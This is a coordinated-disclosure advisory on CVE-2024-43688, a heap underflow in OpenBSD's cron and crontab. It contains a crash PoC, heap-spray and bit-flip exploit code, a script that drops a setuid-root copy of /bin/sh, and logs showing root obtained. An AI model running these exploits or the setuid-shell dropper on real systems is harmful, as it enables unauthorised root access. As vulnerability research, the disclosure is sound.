Supernetworks Advisory https://www.supernetworks.org/ Advisory URL: https://www.supernetworks.org/CVE-2024-43688/openbsd-cron-heap-underflow.txt Credit:Dave G. and Alex Radocea OpenBSD crond / crontab set_range() heap underflow (CVE-2024-43688) --------------------- Vulnerability Details --------------------- There is a potentially exploitable heap underflow in recent versions of Vixie Cron, that affects both the cron daemon and the crontab command.  An attacker can use this vulnerability to obtain root on OpenBSD 7.4 and 7.5. Crontab entries begin with five fields that specify minute, hour, day of month, month, and day of week.  To allow for more advanced command scheduling, each of these fields can accept a range of numbers and/or step values.  A concise example from the man page on both ranges and step values is "0-23/2 can be used in the hours field to specify command execution every other hour", with a range being 0-23 and a step value being 2. In May of 2023 [1], significant changes were made to the range and step handling code of a crontab entry in Vixie Cron.  A new function, set_range() was introduced in entry.c.  This patch was incorporated into OpenBSD in June of 2023 [2].  Let's take a quick look at set_range: 1 static int 2 set_range(bitstr_t *bits, int low, int high, int start, int stop, int step) {       [ ... ] 5 if (start < low || stop > high) 6 return (EOF); 7 start -= low; 8 stop -= low; 9 if (step == 1) { 10 bit_nset(bits, start, stop); 11 } else { 12 for (int i = start; i <= stop; i += step) 13 bit_set(bits, i); 14 } 15 return (OK); 16 } The for loop on line 12 will add the step value provided in the crontab entry to i.  This will then be used by bit_set as an index in the bits bitstring.  As a result, an attacker can modify arbitrary values in memory, provided that they are within 256 megabytes of bits. This condition only occurs with the step value as the range values are all sanity checked to ensure they don't exceed the maximum value of a field (e.g. the minutes value cannot exceed 59). While OpenBSD implemented a privsep cron, where crontab is setgid cron instead of setuid root, this same vulnerability can be used to target both crontab and cron. PoC — The following shell script will trigger the vulnerability. #!/bin/sh crontab - << EOF 0-0/2147494407 * * * * test EOF - [1] https://github.com/vixie/cron/commit/62a064fd775cd682426176bab002a7d54a6b5bfc [2] https://github.com/openbsd/src/commit/314287cb0fc4d196d759a12ff1da4f7c4c004504 —------------- Exploitability —------------- The issue can be triggered on 64 bit builds of cron, where atoi can return negative values even when given a positive number. On 32-bit builds, atoi will only return values up to 2147483647, and since cron will not parse strings starting with a minus symbol, no heap underflow happens. The OpenBSD implementation of atoi is below. On 64-bit builds, a long returned from strtol is 64-bits, whereas it is only 32-bits on 32-bit builds. int atoi(const char *str) {         return((int)strtol(str, (char **)NULL, 10)); } DEF_STRONG(atoi); —----------------- Exploitation Notes —----------------- The `bit_set` routine creates a write primitive that allows setting bits up to 256MB (31-bit signed int/8) before the start of the `bits` buffer.   [256MB][bits decl start | bits end| flags |  Bits is an offset in an `entry` structure which is allocated on the heap. In crontab, only one entry at a time is allocated ,whereas in cron one entry is allocated for each command. typedef struct _entry {         SLIST_ENTRY(_entry) entries;         struct passwd   *pwd;         char            **envp;         char            *cmd;         bitstr_t        bit_decl(minute, MINUTE_COUNT);         bitstr_t        bit_decl(hour,   HOUR_COUNT);         bitstr_t        bit_decl(dom,    DOM_COUNT);         bitstr_t        bit_decl(month,  MONTH_COUNT);         bitstr_t        bit_decl(dow,    DOW_COUNT);         int             flags; } Range Analysis: Providing a small step, such as -1, will scribble large amounts of memory as the loop takes awhile for `i` to overflow into a positive integer again and escape the loop. 12 for (int i = start; i <= stop; i += step) 13 bit_set(bits, i); 14 } Between the address space being sparse and OpenBSD's malloc implementation using guard pages for hardening, it's best to target a step size that will target a single bit.  To avoid multiple writes out of bound in the loop, a value at the first 128MB of the region can be used instead. These are guaranteed to only do a single bit OR before the loop exits. That is, bytes between 256MB and 128MB in front of bits. -256MB | target | -128MB | .... | bits start | bits end The 128MB boundary corresponds to where the third loop remains a signed integer and enters the block for another write: 2*0xf8000000*8 = 0xf80000000 ~= 0x80000000 Targeting `crontab`: crontab is a setgid binary that lets users set validated cron entries and suffers from the same vulnerability. OpenBSD's crontab has limited attacker-controlled heap manipulation because only one entry at a time is allocated during processing. However, since OpenBSD randomizes the heap aggressively, sufficiently many runs of crontab will eventually have the underflow hit allocated heap structures. Although the write is blind, the bit_set operation could create ASLR bypass opportunities where a heap data structure is partially modified. Routines such as `editit` use `asprintf` which allocate from the heap and might begin to disclose memory contents from the `/bin/sh -c ~editor filepath~` command line. If an attacker does gain arbitrary code execution as crontab to gain the cron group, they can directly modify crontab entries to further target `cron`. Targeting `cron`: A limitation of crashing `cron` is that OpenBSD will not restart the daemon. We'll ignore the one-shot nature of the exploit for exploration while we try to craft a heap layout to exploit `cron`. Cron will parse the cron database directory and create many heap `entry` structures from each user's crontab file. Since cron runs commands as arbitrary users, including root, corrupting a password entry structure to change the uid to 0 is one possible avenue of attack. ```c typedef struct _entry {         SLIST_ENTRY(_entry) entries;         struct passwd   *pwd; [1]         char            **envp;  [2]         char            *cmd; [3]         bitstr_t        bit_decl(minute, MINUTE_COUNT);         bitstr_t        bit_decl(hour,   HOUR_COUNT);         bitstr_t        bit_decl(dom,    DOM_COUNT);         bitstr_t        bit_decl(month,  MONTH_COUNT);         bitstr_t        bit_decl(dow,    DOW_COUNT);         int             flags; } struct passwd { char *pw_name; /* user name */ char *pw_passwd; /* encrypted password */ uid_t pw_uid; /* user uid */ gid_t pw_gid; /* user gid */ time_t pw_change; /* password change time */ char *pw_class; /* user access class */ char *pw_gecos; /* Honeywell login info */ char *pw_dir; /* home directory */ char *pw_shell; /* default shell */ time_t pw_expire; /* account expiration */ }; ``` When an entry is allocated, roughly 4  memory allocations correspond: 1) the entry itself 2) the pw_dup call for the passwd entry 3) the environment copy and all of the individual strdup calls 4) the cmd string By allocating environment structures [2], it's possible to create fake passwd entry[1] structures using the string pointers. The end of an environment allocation will be filled with NUL bytes and can correspond to pw_uid and pw_gid being 0. For this to work, an environment should look like the following, where the NULL entry of the environment corresponds to pw_uid 0 and pw_gid 0. [ ENV A A A A 509 510 511 NULL]  [ ENV A A A A 509 510 511 NULL]                     ^                     fake passwd The NULL pointer here would correspond to a pw_uid and pw_gid of 0. Exploring how do_command works, a valid password entry must have: - A valid pw_name string - A valid pw_dir string - A valid pw_class string, set to an empty string "", otherwise set user context can fail. - NULL or a valid pointer for the string values A successful heap spray would result in environment with fake password entries that look roughly like: {pw_name = 0x6cf8c6c2450 "A502=B", pw_passwd = 0x6cf8c6c2a80 "A503=B", pw_uid = 0, pw_gid = 0, pw_change = 0, pw_class = 0x6cf0938ac80 "", pw_gecos = 0x6cf2c38fa00 "H8,\006", pw_dir = 0x6cf2c38a010 "`8,\006", pw_shell = 0x6cf2c365c50 "/tmp/sh", pw_expire = 1152921504606846975} Further improvements are making each environment entry roughly page-sized (4096 bytes) as well as setting the user's GECOS to a large string so at least 1024 bytes are allocated for each `pw_dup` call. The following python script can generate a heap layout that achieves the above most of the time. ```python3 #/usr/bin/env python3 f = open("user-crontab",'w') f.write("USER=user\n") f.write("LOGNAME=user\n") f.write("SHELL=/bin/sh\n") f.write("HOME=/home/user\n") for i in range(512-8): #get 4k pages and see what happens   prefix = "A%d"%i   f.write(prefix + "=" + "B" + "\x00\n") # Note: each entry gets distinct copy of the above environment. for i in range(2**15):   f.write("* * * * * " + "-q /tmp/sh" + "\n") ``` The `/tmp/sh` script can be set as ```bash #!/bin/sh # demo.sh if [ "$(id -u)" -ne 0 ]; then   exit 0; fi cp /bin/sh /usr/ chmod 4755 /usr/sh echo success | wall ``` The missing piece now is which offsets to flip bits on. We can modify `entry.c` to search as well as demonstrate the concept ```c //modifications to entry.c #include #include #include #include int is_address_mapped(void *addr) { unsigned int result; size_t len = sysconf(_SC_PAGESIZE); void           *page_aligned_addr = (void *) ((uintptr_t) addr & ~(len - 1)); result = msync(page_aligned_addr, len, MS_SYNC); if (result == 0) { return 1; } return 0; } extern user    *g_user; //set in user.c's load_user // bit patterns to modify pwd with to point into an environment. // many more are valid but these represent some common values for nearby allocations uint64_t flips [] = {0x15e0, 0x1ae0, 0x1fe0, 0x25e0, 0x1ae0, 0x2fe0, 0x85e0, 0x8ae0, 0x8fe0, 0}; void run_poc(bitstr_t * bits, int low, int high, int start, int stop, int step) { int candidates[256]; int cstep = 0; int cdone = 0; entry          *ee; int count = 0, gcount = 0; SLIST_FOREACH(ee, &g_user->crontab, entries) { count++; uint64_t pwd64 = (uint64_t) ee->pwd; uint64_t delta = (uint64_t) bits - (uint64_t) & ee->pwd; uint64_t bits64 = (uint64_t) bits; //candidate @ ee->pwd is simply too far away if (delta > 256 * 1024 * 1024) continue; //candidate wont exit loop after 1 bit set out of bounds if (delta < 128 * 1024 * 1024) continue; for (int jflip = 0; flips[jflip] != 0; jflip++) { uint64_t flip = flips[jflip]; uint64_t flipped = pwd64 | flip; if (flipped != pwd64) { if (is_address_mapped((void *) flipped) != 1) { continue; } //make sure flipped doesnt fall off at the end either if (is_address_mapped((void *) flipped + sizeof(*ee->pwd)) != 1) { continue; } //further validate that this makes sense. struct passwd  *pflip = (struct passwd *) flipped; if (1 != is_address_mapped(pflip->pw_name)) continue; if (1 != is_address_mapped(pflip->pw_class)) continue; if (1 != is_address_mapped(pflip->pw_dir)) continue; if (0 != pflip->pw_uid) continue; { gcount++; printf("pflip @ %p orig pw @ %llx bits %p\n", pflip, pwd64, bits); printf("===flip pattern %llx offset %llx ===\n", flip, (1ull << 32LL) - delta); for (int bit = 63; bit >= 0; bit--) { unsigned int mask = 1u << bit; if (flip & mask) { uint64_t s = ((1ull << 32LL) - delta * 8) + bit; printf("0-0/%llu * * * * /tmp/write %llu\n", s, s); if (cdone != 0) candidates[cstep++] = s; } } cdone = 1; } } } } printf("searched %d entries with %d candidates pid %d\n", count, gcount, getpid()); if (gcount == 0) exit(0); for (int ci = 0; ci < cstep; ci++) { step = candidates[ci]; int ecount = 0; for (int i= start; i <= stop; i += step) { bit_set(bits, i); ecount++; } } } int set_range(bitstr_t * bits, int low, int high, int start, int stop, int step) { int i; if (start < low || stop > high) return (EOF); start -= low; stop -= low; if (step == -2147483648) { run_poc(bits, low, high, start, stop, step); return (0); } if (step == 1) { bit_nset(bits, start, stop); } else { for (i = start; i <= stop; i += step) { bit_set(bits, i); } } return (0); } ``` Testing: python3 gen.py; cp z /var/cron/tabs/user cp demo.sh /tmp/sh cp demo.sh /tmp/write while true; do ./cron -n; done searched 32768 entries with 0 candidates pid 22670 ... After a moment ... searched 32768 entries with 8 candidates pid 22757 [+] ran jobs. exit(0) cron: setusercontext failed for A502=B: No such file or directory pflip @ 0x73df44cffe0 orig pw @ 73df44c7000 bits 0x73e284660a0 ===flip pattern 8fe0 offset f68721e8 === 0-0/3023638351 * * * * /tmp/write 3023638351 0-0/3023638347 * * * * /tmp/write 3023638347 0-0/3023638346 * * * * /tmp/write 3023638346 0-0/3023638345 * * * * /tmp/write 3023638345 0-0/3023638344 * * * * /tmp/write 3023638344 0-0/3023638343 * * * * /tmp/write 3023638343 0-0/3023638342 * * * * /tmp/write 3023638342 0-0/3023638341 * * * * /tmp/write 3023638341 pflip @ 0x73df44cffe0 orig pw @ 73df44c7c00 bits 0x73e284660a0 ===flip pattern 8fe0 offset f6872ca8 === 0-0/3023660367 * * * * /tmp/write 3023660367 0-0/3023660363 * * * * /tmp/write 3023660363 0-0/3023660362 * * * * /tmp/write 3023660362 0-0/3023660361 * * * * /tmp/write 3023660361 0-0/3023660360 * * * * /tmp/write 3023660360 0-0/3023660359 * * * * /tmp/write 3023660359 0-0/3023660358 * * * * /tmp/write 3023660358 0-0/3023660357 * * * * /tmp/write 3023660357 searched 32768 entries with 4 candidates pid 75556 [+] ran jobs. exit(0) Broadcast Message from A502=B@foo.my.domain                                                                                                                                            "foo.my.domain" 16:00 24-Jul-24         ((not a tty)) at 16:00 ... success           command failed: 550 Invalid recipient: And now `user` can elevate privileges with the dropped binary. uid=1000(user) gid=1000(user) groups=1000(user) foo$ /usr/sh foo# id uid=1000(user) euid=0(root) gid=1000(user) groups=1000(user) So if a user is lucky, a blind exploit might look something like this: ```python3 #/usr/bin/env python3 f = open("user-crontab",'w') f.write("USER=user\n") f.write("LOGNAME=user\n") f.write("SHELL=/bin/sh\n") f.write("HOME=/home/user\n") for i in range(512-8): #get 4k pages and see what happens   prefix = "A%d"%i   f.write(prefix + "=" + "B" + "\x00\n") # Note: each entry gets distinct copy of the above environment. for i in range(2**15):   f.write("* * * * * " + "-q /tmp/sh" + "\n") f.write("0-0/3023660367 * * * * /tmp/write 3023660367\n") f.write("0-0/3023660363 * * * * /tmp/write 3023660363\n") f.write("0-0/3023660362 * * * * /tmp/write 3023660362\n") f.write("0-0/3023660361 * * * * /tmp/write 3023660361\n") f.write("0-0/3023660360 * * * * /tmp/write 3023660360\n") f.write("0-0/3023660359 * * * * /tmp/write 3023660359\n") f.write("0-0/3023660358 * * * * /tmp/write 3023660358\n") f.write("0-0/3023660357 * * * * /tmp/write 3023660357\n") ``` Combined with a memory disclosure primitive or a more reliable heap layout technique, it might be possible to elevate privileges with a one-shot attempt against cron. —---------------------- Supernetworks Challenge —---------------------- In order to successfully obtain root, an attacker will need to either escalate privileges to crontab or create a crontab file that doesn't crash the crontab process, but also successfully exploits the cron daemon. Show us a working exploit for this bug, and we'll ship you a WiFi Pod (https://www.supernetworks.org/#products).  Challenge rules can be found over at https://www.supernetworks.org/crontab-challenge. -------- Disclosure Timeline -------- 24-JUL-2024 Disclosed vulnerability to Paul Vixie and Todd C. Miller 19-AUG-2024 Coordinated Release —------—------—---- About Supernetworks —------—------—---- We build easy to use, open source wifi routers in memory safe languages with advanced out of the box security features like per-device passwords and network isolation.